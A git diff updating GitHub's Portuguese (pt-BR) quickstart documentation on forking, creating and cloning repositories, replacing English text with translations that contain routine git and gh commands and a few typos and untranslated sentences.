+A criação de uma "bifurcação" produz uma cópia pessoal do projeto de outra pessoa. As bifurcações atuam como um tipo de ponte entre o repositório original e a sua cópia pessoal. Você pode enviar pull requests para ajudar a melhorar os projetos de outras pessoas oferecendo suas alterações até o projeto original. A bifurcação é um elemento essencial do código social no GitHub. Para obter mais informações, consulte "[Bifurcar um repositório](/get-started/quickstart/fork-a-repo)".
 
-## Forking a repository
+## Bifurcar um repositório
 
-This tutorial uses [the Spoon-Knife project](https://github.com/octocat/Spoon-Knife), a test repository that's hosted on {% data variables.product.prodname_dotcom_the_website %} that lets you test the fork and pull request workflow.
+Este tutorial usa [o projeto Spoon-Knife](https://github.com/octocat/Spoon-Knife), um repositório de teste hospedado em {% data variables.product.prodname_dotcom_the_website %} que permite testar o fluxo de trabalho de bifurcação e pull request.
 
-1. Navigate to the `Spoon-Knife` project at https://github.com/octocat/Spoon-Knife.
-2. Click **Fork**.
-   ![Fork button](/assets/images/help/repository/fork_button.jpg)
-1. {% data variables.product.product_name %} will take you to your copy (your fork) of the Spoon-Knife repository.
+1. Acecsse o projeto `Spoon-Knife` em https://github.com/octocat/Spoon-Knife.
+2. Clique em **Bifurcação**. ![Botão Fork (Bifurcação)](/assets/images/help/repository/fork_button.jpg)
+1. {% data variables.product.product_name %} irá direcionar você para sua cópia (sua bifurcação) do repositório Spoon-Knife.
 
-## Cloning a fork
+## Clonando uma bifurcação
 
-You've successfully forked the Spoon-Knife repository, but so far, it only exists on {% data variables.product.product_name %}. To be able to work on the project, you will need to clone it to your computer.
+Você criou com sucesso o repositório Spoon-Knife mas, até agora, ele existe apenas em {% data variables.product.product_name %}. Para poder trabalhar no projeto, você deverá cloná-lo para o seu computador.
 
-You can clone your fork with the command line, {% data variables.product.prodname_cli %}, or {% data variables.product.prodname_desktop %}.
+Você pode clonar a sua bifurcação com a linha de comando, {% data variables.product.prodname_cli %} ou {% data variables.product.prodname_desktop %}.
 
-{% include tool-switcher %}
 {% webui %}
 
-1. On {% data variables.product.product_name %}, navigate to **your fork** of the Spoon-Knife repository.
+1. Em {% data variables.product.product_name %}, vá até **your fork** (sua bifurcação) no repositório Spoon-Knife.
 {% data reusables.repositories.copy-clone-url %}
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.command_line.change-current-directory-clone %}
-4. Type `git clone`, and then paste the URL you copied earlier. It will look like this, with your {% data variables.product.product_name %} username instead of `YOUR-USERNAME`:
+4. Digite `git clone` (clonar git) e cole a URL que você copiou anteriormente. Ficará assim, com seu {% data variables.product.product_name %} nome de usuário no lugar de `YOUR-USERNAME`:
   ```shell
   $ git clone https://{% data variables.command_line.codeblock %}/<em>YOUR-USERNAME</em>/Spoon-Knife
   ```
 
-5. Press **Enter**. Your local clone will be created.
+5. Pressione **Enter**. Seu clone local estará criado.
   ```shell
   $ git clone https://{% data variables.command_line.codeblock %}/<em>YOUR-USERNAME</em>/Spoon-Knife
-  > Cloning into `Spoon-Knife`...
-  > remote: Counting objects: 10, done.
-  > remote: Compressing objects: 100% (8/8), done.
+  > Clonando para `Spoon-Knife`...
+  > remote: Contando objetos: 10, concluído.
+  > remote: Compactando objetos: 100% (8/8), concluído.
   > remove: Total 10 (delta 1), reused 10 (delta 1)
   > Unpacking objects: 100% (10/10), done.
   ```
@@ -63,7 +61,7 @@ You can clone your fork with the command line, {% data variables.product.prodnam
 
 {% data reusables.cli.cli-learn-more %}
 
-To create a clone of your fork, use the `--clone` flag.
+Para criar um clone da sua *bifurcação*, use o sinalizador `--clone`.
 
 ```shell
 gh repo fork <em>repository</em> --clone=true
@@ -81,18 +79,17 @@ gh repo fork <em>repository</em> --clone=true
 
 {% enddesktop %}
 
-## Making and pushing changes
+## Fazendo e enviando por push as alterações
 
-Go ahead and make a few changes to the project using your favorite text editor, like [Atom](https://atom.io). You could, for example, change the text in `index.html` to add your GitHub username.
+Siga em frente e faça algumas alterações no projeto usando o seu editor de texto favorito, como [Atom](https://atom.io). Você pode, por exemplo, alterar o texto em `index.html` para adicionar o seu nome de usuário do GitHub.
 
-When you're ready to submit your changes, stage and commit your changes. `git add .` tells Git that you want to include all of your changes in the next commit. `git commit` takes a snapshot of those changes.
+Quando estiver pronto para enviar suas alterações, teste e faça commit das suas alterações. `git add .` informa ao Git que você deseja incluir todas as alterações no próximo commit. `git commit` tira um instantâneo dessas alterações.
 
-{% include tool-switcher %}
 {% webui %}
 
 ```shell
 git add .
-git commit -m "a short description of the change"
+git commit -m "Uma breve descrição da alteração"
 ```
 
 {% endwebui %}
@@ -101,22 +98,21 @@ git commit -m "a short description of the change"
 
 ```shell
 git add .
-git commit -m "a short description of the change"
+git commit -m "Uma breve descrição da alteração"
 ```
 
 {% endcli %}
 
 {% desktop %}
 
-For more information about how to stage and commit changes in {% data variables.product.prodname_desktop %}, see "[Committing and reviewing changes to your project](/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project#selecting-changes-to-include-in-a-commit)."
+Para obter mais informações sobre como testar e fazer commit das alterações em {% data variables.product.prodname_desktop %}, consulte "[Fazendo commit e revisando as alterações no seu projeto](/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project#selecting-changes-to-include-in-a-commit)."
 
 {% enddesktop %}
 
-When you stage and commit files, you essentially tell Git, "Okay, take a snapshot of my changes!" You can continue to make more changes, and take more commit snapshots.
+Ao testar e fazer commit dos arquivos, você essencialmente diz ao Git, "Ok, tire um instantâneo das minhas alterações!" Você pode continuar fazendo mais alterações e tirar mais instantâneos do commit.
 
-Right now, your changes only exist locally. When you're ready to push your changes up to {% data variables.product.product_name %}, push your changes to the remote.
+No momento, suas alterações existem apenas localmente. Quando estiver pronto para fazer push das suas alterações para {% data variables.product.product_name %}, faça push delas para o controle remoto.
 
-{% include tool-switcher %}
 {% webui %}
 
 ```shell
@@ -135,25 +131,24 @@ git push
 
 {% desktop %}
 
-For more information about how to push changes in {% data variables.product.prodname_desktop %}, see "[Pushing changes to GitHub](/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github)."
+Para obter mais informações sobre como fazer push de alterações em {% data variables.product.prodname_desktop %}, consulte "[Envio por push das alterações para o GitHub](/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github)."
 
 {% enddesktop %}
 
-## Making a pull request
+## Fazendo um pull request
 
-At last, you're ready to propose changes into the main project! This is the final step in producing a fork of someone else's project, and arguably the most important. If you've made a change that you feel would benefit the community as a whole, you should definitely consider contributing back.
+Finalmente, você está pronto para propor alterações no projeto principal! Essa é a última etapa para produzir uma bifurcação do projeto de outra pessoa, e a mais importante, indiscutivelmente. Se você fez uma alteração que você considera que beneficiaria a comunidade como um todo, você deve considerar contribuir de novamente.
 
-To do so, head on over to the repository on {% data variables.product.product_name %} where your project lives. For this example, it would be at `https://www.github.com/<your_username>/Spoon-Knife`. You'll see a banner indicating that your branch is one commit ahead of `octocat:main`. Click **Contribute** and then **Open a pull request**.
+Para fazer isso, acesse o repositório {% data variables.product.product_name %} onde seu projeto encontra-se. Para este exemplo, ela seria em `https://www.github.com/<your_username>/Spoon-Knife`. Você verá um banner que indica que o seu branch é um commit à frente do `octocat: main`. Clique em **Contribuir ** e, em seguida, **Abrir um pull request**.
 
-{% data variables.product.product_name %} will bring you to a page that shows the differences between your fork and the `octocat/Spoon-Knife` repository. Click **Create pull request**.
+O {% data variables.product.product_name %} levará você a uma página que mostra as diferenças entre a sua bifurcação e o repositório `octocat/Spoon-Knife`. Clique em **Create pull request** (Criar pull request).
 
-{% data variables.product.product_name %} will bring you to a page where you can enter a title and a description of your changes. It's important to provide as much useful information and a rationale for why you're making this pull request in the first place. The project owner needs to be able to determine whether your change is as useful to everyone as you think it is. Finally, click **Create pull request**.
+{% data variables.product.product_name %} levará você a uma página onde você pode inserir um título e uma descrição das suas alterações. É importante fornecer tantas informações úteis e uma razão para o motivo de você estar fazendo este pull request. O proprietário do projeto deve poder determinar se a sua alteração é tão útil para todos quanto você pensa. Por fim, clique em **Criar pull request**.
 
-## Managing feedback
+## Gerenciando feedback
 
-Pull Requests are an area for discussion. In this case, the Octocat is very busy, and probably won't merge your changes. For other projects, don't be offended if the project owner rejects your pull request, or asks for more information on why it's been made. It may even be that the project owner chooses not to merge your pull request, and that's totally okay. Your copy will exist in infamy on the Internet. And who knows--maybe someone you've never met will find your changes much more valuable than the original project.
+Os pull requests são uma área de discussão. Neste caso, o Octocat está muito ocupado e provavelmente não irá fazer merge das suas alterações. Para outros projetos, não se ofenda se o proprietário do projeto rejeitar o seu pull request ou pedir mais informações sobre o porquê de a alteração ter sido feita. Pode até ser que o proprietário do projeto não faça o merge do seu pull request e isso está perfeitamente bem. Your copy will exist in infamy on the Internet. E quem sabe - talvez alguém que você nunca conheceu, considere as suas alterações muito mais valiosas do que o projeto original.
 
-## Finding projects
+## Encontrando projetos
 
-You've successfully forked and contributed back to a repository. Go forth, and
-contribute some more!{% ifversion fpt %} For more information, see "[Finding ways to contribute to open source on GitHub](/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github)."{% endif %}
+Você fez uma bifurcação com sucesso e contribuiu de volta para um repositório. Vá em frente e contribua com um pouco mais!{% ifversion fpt %} Para obter mais informações, consulte "[Encontrando formas de contribuir com código aberto no GitHub](/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github).{% endif %}
diff --git a/translations/pt-BR/content/get-started/quickstart/create-a-repo.md b/translations/pt-BR/content/get-started/quickstart/create-a-repo.md
index d3b24b7e93..de23a0e234 100644
--- a/translations/pt-BR/content/get-started/quickstart/create-a-repo.md
+++ b/translations/pt-BR/content/get-started/quickstart/create-a-repo.md
@@ -1,11 +1,11 @@
 ---
-title: Create a repo
+title: Criar um repositório
 redirect_from:
   - /create-a-repo
   - /articles/create-a-repo
   - /github/getting-started-with-github/create-a-repo
   - /github/getting-started-with-github/quickstart/create-a-repo
-intro: 'To put your project up on {% data variables.product.prodname_dotcom %}, you''ll need to create a repository for it to live in.'
+intro: 'Para colocar seu projeto no {% data variables.product.prodname_dotcom %}, você precisará criar um repositório no qual ele residirá.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -17,15 +17,16 @@ topics:
   - Notifications
   - Accounts
 ---
-## Create a repository
+
+## Criar um repositório
 
 {% ifversion fpt or ghec %}
 
-You can store a variety of projects in {% data variables.product.prodname_dotcom %} repositories, including open source projects. With [open source projects](http://opensource.org/about), you can share code to make better, more reliable software. You can use repositories to collaborate with others and track your work. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)."
+Você pode armazenar vários projetos nos repositórios do {% data variables.product.prodname_dotcom %}, incluindo projetos de código aberto. Com os [projetos de código aberto](http://opensource.org/about), é possível compartilhar código para criar softwares melhores e mais confiáveis. Você pode usar repositórios para colaborar com outras pessoas e acompanhar seu trabalho. Para obter mais informações, consulte "[Sobre repositórios](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)".
 
 {% elsif ghes or ghae %}
 
-You can store a variety of projects in {% data variables.product.product_name %} repositories, including innersource projects. With innersource, you can share code to make better, more reliable software. For more information on innersource, see {% data variables.product.company_short %}'s white paper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)."
+Você pode armazenar uma série de projetos em repositórios de {% data variables.product.product_name %}, incluindo projetos de innersource. Com o innersource, você pode compartilhar código para criar um software melhor e mais confiável. Para obter mais informações sobre innersource, consulte o white paper de {% data variables.product.company_short %}"[Uma introdução ao innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)".
 
 {% endif %}
 
@@ -33,26 +34,22 @@ You can store a variety of projects in {% data variables.product.product_name %}
 
 {% note %}
 
-**Note:** You can create public repositories for an open source project. When creating your public repository, make sure to include a [license file](https://choosealicense.com/) that determines how you want your project to be shared with others. {% data reusables.open-source.open-source-guide-repositories %} {% data reusables.open-source.open-source-learning-lab %}
+**Observação:** você pode criar repositórios públicos para um projeto de código aberto. Ao criar um repositório público, certifique-se de incluir um [arquivo de licença](https://choosealicense.com/) que determina como deseja que seu projeto seja compartilhado com outras pessoas. {% data reusables.open-source.open-source-guide-repositories %} {% data reusables.open-source.open-source-learning-lab %}
 
 {% endnote %}
 
 {% endif %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.create_new %}
-2. Type a short, memorable name for your repository. For example, "hello-world".
-  ![Field for entering a repository name](/assets/images/help/repository/create-repository-name.png)
-3. Optionally, add a description of your repository. For example, "My first repository on {% data variables.product.product_name %}."
-  ![Field for entering a repository description](/assets/images/help/repository/create-repository-desc.png)
+2. Digite um nome curto e fácil de memorizar para seu repositório. Por exemplo, "olá mundo". ![Campo para inserir um nome de repositório](/assets/images/help/repository/create-repository-name.png)
+3. Se desejar, adicione uma descrição do repositório. Por exemplo, "Meu primeiro repositório no {% data variables.product.product_name %}". ![Campo para inserir uma descrição do repositório](/assets/images/help/repository/create-repository-desc.png)
 {% data reusables.repositories.choose-repo-visibility %}
 {% data reusables.repositories.initialize-with-readme %}
 {% data reusables.repositories.create-repo %}
 
-Congratulations! You've successfully created your first repository, and initialized it with a *README* file.
+Parabéns! Você criou com êxito seu primeiro repositório e o inicializou com um arquivo *README*.
 
 {% endwebui %}
 
@@ -60,33 +57,28 @@ Congratulations! You've successfully created your first repository, and initiali
 
 {% data reusables.cli.cli-learn-more %}
 
-1. In the command line, navigate to the directory where you would like to create a local clone of your new project.
-2. To create a repository for your project, use the `gh repo create` subcommand. When prompted, select **Create a new repository on GitHub from scratch** and enter the name of your new project. If you want your project to belong to an organization instead of to your user account, specify the organization name and project name with `organization-name/project-name`. 
-3. Follow the interactive prompts. To clone the repository locally, confirm yes when asked if you would like to clone the remote project directory.  
-4. Alternatively, to skip the prompts supply the repository name and a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create project-name --public`. To clone the repository locally, pass the `--clone` flag.  For more information about possible arguments, see the [GitHub CLI manual](https://cli.github.com/manual/gh_repo_create).
+1. Na linha de comando, acesse o diretório onde você gostaria de criar um clone local do seu novo projeto.
+2. Para criar um repositório para o seu projeto, use o subcomando `gh repo create`. Quando solicitado, selecione **Criar um novo repositório no GitHub a do zero** e digite o nome do seu novo projeto. Se você quiser que o seu projeto pertença a uma organização em vez de sua conta de usuário, especifique o nome da organização e o nome do projeto com `organization-name/project-name`.
+3. Siga as instruções interativas. Para clonar o repositório localmente, marque sim quando perguntarem se você deseja clonar o diretório do projeto remoto.
+4. Como alternativa, para pular as instruções, forneça o nome do repositório e um sinalizador de visibilidade (`--public`, `--private`, ou `--interno`). Por exemplo, `gh repo create project-name --public`. Para clonar o repositório localmente, passe o sinalizador `--clone`.  Para obter mais informações sobre possíveis argumentos, consulte o [manual da CLI do GitHub](https://cli.github.com/manual/gh_repo_create).
 
 {% endcli %}
 
-## Commit your first change
-
-{% include tool-switcher %}
+## Fazer commit da primeira alteração
 
 {% webui %}
 
-A *[commit](/articles/github-glossary#commit)* is like a snapshot of all the files in your project at a particular point in time.
+Um *[commit](/articles/github-glossary#commit)* é como um instantâneo de todos os arquivos no seu projeto em um determinado momento.
 
-When you created your new repository, you initialized it with a *README* file. *README* files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your *README* file are automatically shown on the front page of your repository.
+Na criação do repositório, você o inicializou com um arquivo *README*. Os arquivos *README* são um excelente local para descrever seu projeto mais detalhadamente ou para adicionar alguma documentação, por exemplo, como instalar ou usar seu projeto. O conteúdo do arquivo *README* é mostrado automaticamente na primeira página do repositório.
 
-Let's commit a change to the *README* file.
+Vamos fazer commit de uma alteração no arquivo *README*.
 
-1. In your repository's list of files, click ***README.md***.
-  ![README file in file list](/assets/images/help/repository/create-commit-open-readme.png)
-2. Above the file's content, click {% octicon "pencil" aria-label="The edit icon" %}.
-3. On the **Edit file** tab, type some information about yourself.
-  ![New content in file](/assets/images/help/repository/edit-readme-light.png)
+1. Na lista de arquivos do repositório, clique em ***README.m***. ![Arquivo README na lista de arquivos](/assets/images/help/repository/create-commit-open-readme.png)
+2. Acima do conteúdo do arquivo, clique em {% octicon "pencil" aria-label="The edit icon" %}.
+3. Na guia **Edit file** (Editar arquivo), digite algumas informações sobre si mesmo. ![Novo conteúdo no arquivo](/assets/images/help/repository/edit-readme-light.png)
 {% data reusables.files.preview_change %}
-5. Review the changes you made to the file. You'll see the new content in green.
-  ![File preview view](/assets/images/help/repository/create-commit-review.png)
+5. Revise as alterações feitas no arquivo. Você verá o novo conteúdo em verde. ![Visualização de arquivo](/assets/images/help/repository/create-commit-review.png)
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_file_change %}
@@ -95,18 +87,18 @@ Let's commit a change to the *README* file.
 
 {% cli %}
 
-Now that you have created a project, you can start committing changes.
+Agora que você criou um projeto, você pode começar a fazer commit das alterações.
 
-*README* files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your *README* file are automatically shown on the front page of your repository. Follow these steps to add a *README* file.
+Os arquivos *README* são um excelente local para descrever seu projeto mais detalhadamente ou para adicionar alguma documentação, por exemplo, como instalar ou usar seu projeto. O conteúdo do arquivo *README* é mostrado automaticamente na primeira página do repositório. Siga estas etapas para adicionar um arquivo *README*.
 
-1. In the command line, navigate to the root directory of your new project. (This directory was created when you ran the `gh repo create` command.)
-1. Create a *README* file with some information about the project.
+1. Na linha de comando, acesse o diretório raiz do seu novo projeto. (Este diretório foi criado quando você executou o repositório `gh repo create`.)
+1. Crie um arquivo *README* com algumas informações sobre o projeto.
 
     ```shell
     echo "info about this project" >> README.md
     ```
 
-1. Enter `git status`. You will see that you have an untracked `README.md` file.
+1. Insira `git status`. Você verá que você tem um arquivo `README.md` não rastreado.
 
     ```shell
     $ git status
@@ -118,13 +110,13 @@ Now that you have created a project, you can start committing changes.
     nothing added to commit but untracked files present (use "git add" to track)
     ```
 
-1. Stage and commit the file.
+1. Stage e commit do arquivo.
 
     ```shell
     git add README.md && git commit -m "Add README"
     ```
 
-1. Push the changes to your branch.
+1. Faça push das alterações para seu branch.
 
     ```shell
     git push --set-upstream origin HEAD
@@ -132,18 +124,18 @@ Now that you have created a project, you can start committing changes.
 
 {% endcli %}
 
-## Celebrate
+## Comemore
 
-Congratulations! You have now created a repository, including a *README* file, and created your first commit on {% data variables.product.product_location %}.
+Parabéns! Você criou um repositório, incluindo um arquivo *README*, assim como seu primeiro commit no {% data variables.product.product_location %}.
 
 {% webui %}
 
-You can now clone a {% data variables.product.prodname_dotcom %} repository to create a local copy on your computer. From your local repository you can commit, and create a pull request to update the changes in the upstream repository. For more information, see "[Cloning a repository](/github/creating-cloning-and-archiving-repositories/cloning-a-repository)" and "[Set up Git](/articles/set-up-git)."
+Agora você pode clonar um repositório de {% data variables.product.prodname_dotcom %} para criar uma cópia local no seu computador. A partir do seu repositório local, você pode fazer commit e criar um pull request para atualizar as alterações no repositório upstream. Para obter mais informações, consulte "[Clonando um repositório](/github/creating-cloning-and-archiving-repositories/cloning-a-repository)" e "[Configurar o Git](/articles/set-up-git)".
 
 {% endwebui %}
 
-You can find interesting projects and repositories on {% data variables.product.prodname_dotcom %} and make changes to them by creating a fork of the repository. For more information see, "[Fork a repository](/articles/fork-a-repo)."
+Você pode encontrar projetos e repositórios interessantes em {% data variables.product.prodname_dotcom %} e fazer alterações neles criando uma bifurcação no repositório. Para obter mais informações, "[Bifurcar um repositório](/articles/fork-a-repo)".
 
-Each repository in {% data variables.product.prodname_dotcom %} is owned by a person or an organization. You can interact with the people, repositories, and organizations by connecting and following them on {% data variables.product.prodname_dotcom %}. For more information see "[Be social](/articles/be-social)."
+Cada repositório em {% data variables.product.prodname_dotcom %} pertence a uma pessoa ou organização. Você pode interagir com as pessoas, repositórios e organizações, conectando-se e seguindo-as em {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Seja social](/articles/be-social)".
 
 {% data reusables.support.connect-in-the-forum-bootcamp %}
diff --git a/translations/pt-BR/content/get-started/quickstart/fork-a-repo.md b/translations/pt-BR/content/get-started/quickstart/fork-a-repo.md
index c9fa67d1cb..18e082ebf2 100644
--- a/translations/pt-BR/content/get-started/quickstart/fork-a-repo.md
+++ b/translations/pt-BR/content/get-started/quickstart/fork-a-repo.md
@@ -1,12 +1,12 @@
 ---
-title: Fork a repo
+title: Bifurcar um repo
 redirect_from:
   - /fork-a-repo
   - /forking
   - /articles/fork-a-repo
   - /github/getting-started-with-github/fork-a-repo
   - /github/getting-started-with-github/quickstart/fork-a-repo
-intro: A fork is a copy of a repository. Forking a repository allows you to freely experiment with changes without affecting the original project.
+intro: Uma bifurcação é uma cópia de um repositório. Bifurcar um repositório permite que você faça experiências à vontade sem comprometer o projeto original.
 permissions: '{% data reusables.enterprise-accounts.emu-permission-fork %}'
 versions:
   fpt: '*'
@@ -19,46 +19,45 @@ topics:
   - Notifications
   - Accounts
 ---
-## About forks
 
-Most commonly, forks are used to either propose changes to someone else's project or to use someone else's project as a starting point for your own idea. You can fork a repository to create a copy of the repository and make changes without affecting the upstream repository. For more information, see "[Working with forks](/github/collaborating-with-issues-and-pull-requests/working-with-forks)."
+## Sobre bifurcações
 
-### Propose changes to someone else's project
+O uso mais comum das bifurcações são propostas de mudanças no projeto de alguma outra pessoa ou o uso do projeto de outra pessoa como ponto de partida para sua própria ideia. Você pode bifurcar um repositório para criar uma cópia do repositório e fazer alterações sem afetar o repositório upstream. Para obter mais informações, consulte "[Trabalhando com as bifurcações](/github/collaborating-with-issues-and-pull-requests/working-with-forks)".
 
-For example, you can use forks to propose changes related to fixing a bug. Rather than logging an issue for a bug you've found, you can:
+### Proponha mudanças no projeto de outra pessoa
 
-- Fork the repository.
-- Make the fix.
-- Submit a pull request to the project owner.
+Por exemplo, você pode usar bifurcações para propor alterações relacionadas à correção de um bug. Em vez de registrar um erro encontrado, é possível:
 
-### Use someone else's project as a starting point for your own idea.
+- Bifurcar o repositório.
+- Fazer a correção.
+- Enviar um pull request ao proprietário do projeto.
 
-Open source software is based on the idea that by sharing code, we can make better, more reliable software. For more information, see the "[About the Open Source Initiative](http://opensource.org/about)" on the Open Source Initiative.
+### Use o projeto de outra pessoa como ponto de partida para sua própria ideia.
 
-For more information about applying open source principles to your organization's development work on {% data variables.product.product_location %}, see {% data variables.product.prodname_dotcom %}'s white paper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)."
+O software de código aberto baseia-se na ideia de que ao compartilhar códigos, podemos criar softwares melhores e mais confiáveis. Para obter mais informações, consulte "[Sobre a Iniciativa Open Source](http://opensource.org/about)" em Iniciativa Open Source.
+
+Para obter mais informações sobre a aplicação dos princípios de código aberto ao trabalho de desenvolvimento da sua organização em {% data variables.product.product_location %}, consulte o white paper de {% data variables.product.prodname_dotcom %} "[Uma introdução ao innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)."
 
 {% ifversion fpt or ghes or ghec %}
 
-When creating your public repository from a fork of someone's project, make sure to include a license file that determines how you want your project to be shared with others. For more information, see "[Choose an open source license](https://choosealicense.com/)" at choosealicense.com.
+Ao criar um repositório público a partir de uma bifurcação do projeto de outra pessoa, confirme que incluiu um arquivo de licença que estabelece como você quer que seu projeto seja compartilhado com outros. Para obter mais informações, consulte [Escolha uma licença de código aberto](https://choosealicense.com/)" em choosealicense.com.
 
 {% data reusables.open-source.open-source-guide-repositories %} {% data reusables.open-source.open-source-learning-lab %}
 
 {% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-If you haven't yet, you should first [set up Git](/articles/set-up-git). Don't forget to [set up authentication to {% data variables.product.product_location %} from Git](/articles/set-up-git#next-steps-authenticating-with-github-from-git) as well.
+Se ainda não o fez, primeiro [configure o Git](/articles/set-up-git). Lembre-se também de [configurar a autenticação para {% data variables.product.product_location %} a partir do Git](/articles/set-up-git#next-steps-authenticating-with-github-from-git).
 
-## Forking a repository
+## Bifurcar um repositório
 
-{% include tool-switcher %}
 {% webui %}
 
-You might fork a project to propose changes to the upstream, or original, repository. In this case, it's good practice to regularly sync your fork with the upstream repository. To do this, you'll need to use Git on the command line. You can practice setting the upstream repository using the same [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository you just forked.
+Você pode bifurcar um projeto para propor alterações no repositório upstream ou original. Nesse caso, uma boa prática é sincronizar regularmente sua bifurcação com o repositório upstream. Para isso, é necessário usar Git na linha de comando. You can practice setting the upstream repository using the same [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository you just forked.
 
-1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_location %}{% endif %}, navigate to the [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository.
-2. In the top-right corner of the page, click **Fork**.
-![Fork button](/assets/images/help/repository/fork_button.jpg)
+1. Em {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_location %}{% endif %}, acesse o repositório [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife).
+2. No canto superior direito da página, clique em **Fork** (Bifurcação). ![Botão Fork (Bifurcação)](/assets/images/help/repository/fork_button.jpg)
 
 {% endwebui %}
 
@@ -66,13 +65,13 @@ You might fork a project to propose changes to the upstream, or original, reposi
 
 {% data reusables.cli.cli-learn-more %}
 
-To create a fork of a repository, use the `gh repo fork` subcommand.
+Para criar a bifurcação de um repositório, use o subcomando `gh repo fork`.
 
 ```shell
 gh repo fork <em>repository</em>
 ```
 
-To create the fork in an organization, use the `--org` flag.
+Para criar a bifurcação em uma organização, use o sinalizador `--org`.
 
 ```shell
 gh repo fork <em>repository</em> --org "octo-org"
@@ -83,28 +82,27 @@ gh repo fork <em>repository</em> --org "octo-org"
 {% desktop %}
 {% enddesktop %}
 
-## Cloning your forked repository
+## Clonando o seu repositório bifurcado
 
-Right now, you have a fork of the Spoon-Knife repository, but you don't have the files in that repository locally on your computer.
+Agora, você tem uma bifurcação do repositório Spoon-Knife, mas você não tem os arquivos nesse repositório localmente no seu computador.
 
-{% include tool-switcher %}
 {% webui %}
 
-1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_location %}{% endif %}, navigate to **your fork** of the Spoon-Knife repository.
+1. Em {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_location %}{% endif %}, acesse **a sua bifurcaçãofork** do repositório Spoon-Knife.
 {% data reusables.repositories.copy-clone-url %}
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.command_line.change-current-directory-clone %}
-4. Type `git clone`, and then paste the URL you copied earlier. It will look like this, with your {% data variables.product.product_name %} username instead of `YOUR-USERNAME`:
+4. Digite `git clone` (clonar git) e cole a URL que você copiou anteriormente. Ficará assim, com seu {% data variables.product.product_name %} nome de usuário no lugar de `YOUR-USERNAME`:
   ```shell
   $ git clone https://{% data variables.command_line.codeblock %}/<em>YOUR-USERNAME</em>/Spoon-Knife
   ```
 
-5. Press **Enter**. Your local clone will be created.
+5. Pressione **Enter**. Seu clone local estará criado.
   ```shell
   $ git clone https://{% data variables.command_line.codeblock %}/<em>YOUR-USERNAME</em>/Spoon-Knife
-  > Cloning into `Spoon-Knife`...
-  > remote: Counting objects: 10, done.
-  > remote: Compressing objects: 100% (8/8), done.
+  > Clonando para `Spoon-Knife`...
+  > remote: Contando objetos: 10, concluído.
+  > remote: Compactando objetos: 100% (8/8), concluído.
   > remove: Total 10 (delta 1), reused 10 (delta 1)
   > Unpacking objects: 100% (10/10), done.
   ```
@@ -115,7 +113,7 @@ Right now, you have a fork of the Spoon-Knife repository, but you don't have the
 
 {% data reusables.cli.cli-learn-more %}
 
-To create a clone of your fork, use the `--clone` flag.
+Para criar um clone da sua *bifurcação*, use o sinalizador `--clone`.
 
 ```shell
 gh repo fork <em>repository</em> --clone=true
@@ -133,34 +131,33 @@ gh repo fork <em>repository</em> --clone=true
 
 {% enddesktop %}
 
-## Configuring Git to sync your fork with the original repository
+## Configurar o Git para sincronizar a bifurcação com o repositório original
 
 When you fork a project in order to propose changes to the original repository, you can configure Git to pull changes from the original, or upstream, repository into the local clone of your fork.
 
-{% include tool-switcher %}
 {% webui %}
 
-1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_location %}{% endif %}, navigate to the [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository.
+1. Em {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_location %}{% endif %}, acesse o repositório [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife).
 {% data reusables.repositories.copy-clone-url %}
 {% data reusables.command_line.open_the_multi_os_terminal %}
-4. Change directories to the location of the fork you cloned.
-    - To go to your home directory, type just `cd` with no other text.
-    - To list the files and folders in your current directory, type `ls`.
-    - To go into one of your listed directories, type `cd your_listed_directory`.
-    - To go up one directory, type `cd ..`.
-5. Type `git remote -v` and press **Enter**. You'll see the current configured remote repository for your fork.
+4. Mude os diretórios para a localidade da bifurcação que você clonou.
+    - Para acessar seu diretório pessoal, apenas digite `cd` sem nenhum outro texto.
+    - Para listar os arquivos e pastas em seu diretório atual, digite `ls`.
+    - Para acessar um dos diretórios listados, digite `cd your_listed_directory`.
+    - Para acessar um diretório, digite `cd ..`.
+5. Digite `git remote -v` e pressione **Enter**. Você verá o repositório remote atual configurado para sua bifurcação.
   ```shell
   $ git remote -v
